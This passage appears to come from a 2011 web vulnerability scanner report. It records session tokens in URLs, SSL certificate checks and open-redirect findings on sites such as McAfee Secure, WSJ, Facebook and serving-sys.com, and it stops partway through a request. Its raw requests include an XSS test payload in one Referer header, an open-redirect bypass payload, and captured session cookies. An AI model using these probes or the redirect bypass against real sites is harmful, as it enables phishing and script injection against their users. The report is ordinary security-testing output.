http://server.iad.liveperson.net/hc/44533531/?cmd=file&file=setVisitorRbt&site=44533531&sessionkey=H7690487004214661575-4202021298745294135K2753112

Request

GET /hc/44533531/?cmd=file&file=visitorWantsToChat&site=44533531&byhref=1&imageUrl=http://server.iad.liveperson.net/hcp/Gallery/ChatButton-Gallery/English/General/1a HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:52:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: LivePersonID=LP i=16101514677757,d=1305377522; expires=Sun, 13-May-2012 12:52:02 GMT; path=/; domain=.liveperson.net
Set-Cookie: LivePersonID=-16101514677757-1305377522:0; expires=Sun, 13-May-2012 12:52:02 GMT; path=/hc/44533531; domain=.liveperson.net
Set-Cookie: HumanClickKEY=7690487004214661575; path=/hc/44533531
Set-Cookie: HumanClickSiteContainerID_44533531=STANDALONE; path=/hc/44533531
Set-Cookie: LivePersonID=-16101514677757-1305377522:-1:-1:-1:-1; expires=Sun, 13-May-2012 12:52:02 GMT; path=/hc/44533531; domain=.liveperson.net
Set-Cookie: HumanClickCHATKEY=4202021298745294135; path=/hc/44533531
Content-Type: text/html
Last-Modified: Sat, 14 May 2011 12:52:02 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 7032

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="EN" xml:lang="EN">
<head>

...[SNIP]...
</title>
<link href="/hc/44533531/?cmd=file&file=chatTemplate&site=44533531&sessionkey=H7690487004214661575-4202021298745294135K2753112&template=modern_surveystyle.css&survey=Pre-Chat" rel="stylesheet" type="text/css" />

<script type="text/javascript">
...[SNIP]...
<td valign="top" height="88%" colspan="2">
<iframe id="initialtextFrame" name="initialtextFrame" title="Survey Questions" frameborder="0" scrolling="auto" style="height: 100%; width: 100%"
src= '/hc/44533531/?cmd=file&file=preChatSurveyContent&site=44533531&sessionkey=H7690487004214661575-4202021298745294135K2753112&survey=Pre-Chat'
>This functionality requires frames.To read the LivePerson accessibility policy, please go to the <a href='http://www.liveperson.com/help/accessibility.asp'>
...[SNIP]...
<div id="rtester" style="visibility: hidden;">
<a href="http://server.iad.liveperson.net/hc/44533531/?cmd=file&file=setVisitorRbt&site=44533531&sessionkey=H7690487004214661575-4202021298745294135K2753112" tabindex="-1">web browser selector</a>
...[SNIP]...

11.10. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The URL in the request appears to contain a session token within the query string:

http://www.facebook.com/extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfd84325a8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dffd414aac%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df389602bbc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df28f32c4d8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1b9688a08%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88&sdk=joey&session_version=3

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfd84325a8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dffd414aac%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df389602bbc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df28f32c4d8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1b9688a08%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff2bb228d84%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22703ca88&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f28f32c4d8&origin=http%3A%2F%2Fonline.wsj.com%2Ff2bb228d84&relation=parent&transport=postmessage&frame=f22703ca88
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.53.62.79
X-Cnection: close
Date: Sat, 14 May 2011 10:09:19 GMT
Content-Length: 0

11.11. http://www.google.com/realtimejs previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.google.com
Path:	/realtimejs

Issue detail

The URL in the request appears to contain a session token within the query string:

http://www.google.com/realtimejs?q=LuxiteAuth&hl=en&lr=lang_en&sa=X&biw=1020&bih=945&tbs=lr:lang_1en,rltm:1&prmd=ivns&ei=H2nOTd6mG8bz0gHL8MSaDg&polltype=mb&since=1305372359000000&sessionstart=1305372359000000&usg=5ead

Request

GET /realtimejs?q=LuxiteAuth&hl=en&lr=lang_en&sa=X&biw=1020&bih=945&tbs=lr:lang_1en,rltm:1&prmd=ivns&ei=H2nOTd6mG8bz0gHL8MSaDg&polltype=mb&since=1305372359000000&sessionstart=1305372359000000&usg=5ead HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=LuxiteAuth
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=381be2a5a4e321de:U=b4ccbc578566f743:FF=0:TM=1305295666:LM=1305298565:S=ky1WAdlUDHsxJ4Yj; NID=46=emC1yOmaCO9XZw0ZZrmdTgUMUTiBROryAbKeEwGzRnTTb_foakDWTUcuaMExAPE8kEeEMz0BkfgSMyCMmJ1gvhpl_HzvACAHwZGPtRZ9N4F2KFIQgcQa5mmI8arST7K3

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Date: Sat, 14 May 2011 11:36:02 GMT
Expires: -1
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 345

mbrt0.insert('{\x22nextRequest\x22:\x22/realtimejs?q\\x3dLuxiteAuth\\x26hl\\x3den\\x26lr\\x3dlang_en\\x26sa\\x3dX\\x26biw\\x3d1020\\x26bih\\x3d945\\x26output\\x3dsearch\\x26tbs\\x3dlr:lang_1en,rltm:1\
...[SNIP]...

11.12. http://www.mcafeesecure.com/us/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/us/

Issue detail

The response contains the following links that appear to contain session tokens:

http://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03

Request

GET /us/ HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

11.13. http://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The response contains the following links that appear to contain session tokens:

http://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03
http://server.iad.liveperson.net/hc/10599399/?cmd=repstate&site=10599399&channel=web&&ver=1&&skill=&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03

Request

GET /us/products/buy_now.jsp?tab=1 HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/RatingVerify?cb=lp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534; adclick=1103-2

Response

11.14. http://www.mcafeesecure.com/us/products/mcafee_secure.jsp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/us/products/mcafee_secure.jsp

Issue detail

The response contains the following links that appear to contain session tokens:

http://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=http://images.scanalert.com/images/liveperson/set03

Request

GET /us/products/mcafee_secure.jsp?tab=1 HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.6.10.1305377534

Response

11.15. https://www.mcafeesecure.com/SignUp.sa previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/SignUp.sa

Issue detail

The response contains the following links that appear to contain session tokens:

https://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03
https://server.iad.liveperson.net/hc/10599399/?cmd=repstate&site=10599399&channel=web&&ver=1&&skill=&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03

Request

POST /SignUp.sa HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: https://www.mcafeesecure.com/us/products/buy_now.jsp?tab=4
Cache-Control: max-age=0
Origin: https://www.mcafeesecure.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534
Content-Length: 422

act=step4&oc=&user.fname=&user.lname=&user.phone=&user.email=&company.name=&company.address1=&company.address2=&company.city=&company.state=&company.country=US&company.zip=&user.lang=&service_plan=939
...[SNIP]...

Response

11.16. https://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The response contains the following links that appear to contain session tokens:

https://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03
https://server.iad.liveperson.net/hc/10599399/?cmd=repstate&site=10599399&channel=web&&ver=1&&skill=&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03

Request

GET /us/products/buy_now.jsp?tab=4 HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

11.17. https://www.mcafeesecure.com/us/resources/resource.jsp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/us/resources/resource.jsp

Issue detail

The response contains the following links that appear to contain session tokens:

https://server.iad.liveperson.net/hc/10599399/?cmd=file&file=visitorWantsToChat&site=10599399&byhref=1&SESSIONVAR!skill=Sales&VISITORVAR!CurrentCustomer=&imageUrl=https://images.scanalert.com/images/liveperson/set03

Request

GET /us/resources/resource.jsp?tab=1 HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: https://www.mcafeesecure.com/SignUp.sa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

11.18. http://www.midphase.com/includes/form-processing/captcha/cryptographp.php previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.php

Issue detail

The URL in the request appears to contain a session token within the query string:

http://www.midphase.com/includes/form-processing/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4

Request

GET /includes/form-processing/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4 HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4

Response

HTTP/1.1 302 Found
Date: Sun, 15 May 2011 11:43:34 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cryptcookietest=1
Location: cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID&
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 0

12. SSL certificate previous next
There are 4 instances of this issue:

https://www.mcafeesecure.com/
https://commerce.wsj.com/
https://order.wsj.com/
https://services.wsj.com/

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

12.1. https://www.mcafeesecure.com/ previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not trusted.

The server presented the following certificates:

Server certificate

Issued to:	*.mcafeesecure.com
Issued by:	NAI SSL CA v1
Valid from:	Wed May 28 11:56:43 CDT 2008
Valid to:	Fri Apr 26 04:29:07 CDT 2019

Certificate chain #1

Issued to:	NAI SSL CA v1
Issued by:	RSA Public Root CA v1
Valid from:	Wed Oct 17 10:03:55 CDT 2007
Valid to:	Mon Apr 29 04:25:17 CDT 2019

Certificate chain #2

Issued to:	RSA Public Root CA v1
Issued by:	http://www.valicert.com/
Valid from:	Mon May 02 12:34:48 CDT 2005
Valid to:	Tue Apr 30 04:24:00 CDT 2019

Certificate chain #3

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:22:33 CDT 1999
Valid to:	Tue Jun 25 19:22:33 CDT 2019

12.2. https://commerce.wsj.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://commerce.wsj.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	commerce.wsj.com
Issued by:	VeriSign Class 3 Secure Server CA - G2
Valid from:	Mon May 03 19:00:00 CDT 2010
Valid to:	Fri Jun 03 18:59:59 CDT 2011

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G2
Issued by:	VeriSign Trust Network
Valid from:	Tue Mar 24 19:00:00 CDT 2009
Valid to:	Sun Mar 24 18:59:59 CDT 2019

Certificate chain #2

Issued to:	VeriSign Trust Network
Issued by:	VeriSign Trust Network
Valid from:	Sun May 17 19:00:00 CDT 1998
Valid to:	Tue Aug 01 18:59:59 CDT 2028

12.3. https://order.wsj.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://order.wsj.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	order.wsj.com
Issued by:	VeriSign Class 3 Secure Server CA - G2
Valid from:	Tue May 04 19:00:00 CDT 2010
Valid to:	Sat Jun 04 18:59:59 CDT 2011

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G2
Issued by:	VeriSign Trust Network
Valid from:	Tue Mar 24 19:00:00 CDT 2009
Valid to:	Sun Mar 24 18:59:59 CDT 2019

Certificate chain #2

Issued to:	VeriSign Trust Network
Issued by:	VeriSign Trust Network
Valid from:	Sun May 17 19:00:00 CDT 1998
Valid to:	Tue Aug 01 18:59:59 CDT 2028

12.4. https://services.wsj.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://services.wsj.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	services.wsj.com
Issued by:	VeriSign Class 3 Secure Server CA - G3
Valid from:	Wed Oct 13 19:00:00 CDT 2010
Valid to:	Tue Nov 08 17:59:59 CST 2011

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G3
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Sun Feb 07 18:00:00 CST 2010
Valid to:	Fri Feb 07 17:59:59 CST 2020

Certificate chain #2

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Tue Nov 07 18:00:00 CST 2006
Valid to:	Wed Jul 16 18:59:59 CDT 2036

Certificate chain #3

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Tue Nov 07 18:00:00 CST 2006
Valid to:	Wed Jul 16 18:59:59 CDT 2036

13. Open redirection previous next
There are 2 instances of this issue:

http://bs.serving-sys.com/BurstingPipe/adServer.bs [rtu parameter]
http://idolpeeps.com/ [name of an arbitrarily supplied request parameter]

Issue background

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Remediation background

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:

Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.

13.1. http://bs.serving-sys.com/BurstingPipe/adServer.bs [rtu parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the rtu request parameter is used to perform an HTTP redirect. The payload .a82c26bf27e832067/ was submitted in the rtu parameter. This caused a redirection to the following URL:

http://.a82c26bf27e832067/

The application attempts to prevent redirection attacks by prepending an absolute prefix to the user-supplied URL. However, this prefix does not include a trailing slash, so an attacker can add an additional domain name to point to a domain which they control.

Remediation detail

When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.

Request

GET /BurstingPipe/adServer.bs?cn=tf&c=19&mc=imp&pli=2394928&PluID=0&rtu=.a82c26bf27e832067/&ord=5238917502 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com//static_html_files/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A2284375%3A%3A4891372%3A%3ASite-32928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A139650%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3ASite-30079/Type-20/5198415/d664f754-eb5c-4f36-91a8-9e92f15fb72f/%3A%3A%27%3BgEbBannerData%3D%278157523402478546%3A%3A1%3A%3A336%3A%3A280%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/3b07/3/0/*/n%253B239950972%253B0-0%253B0%253B46249204%253B4252-336/280%253B41839080/41856867/1%253B%253B%257Eokv%253D%253B%2521category%253D%253Bpage%253Drightrail%253Bmsrc%253DBOL_other_tnav_analysis%253Bbiz%253D1053%253B%253Bs%253D8_10001%253Bmc%253D0%253Btile%253D9%253Bsz%253D300x250%252C336x280%252C300x600%252C336x850%253B%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_2_2_11.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_4_5_0%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3A//%27%3BebO.bt%3D5%3BebO.bv%3D11%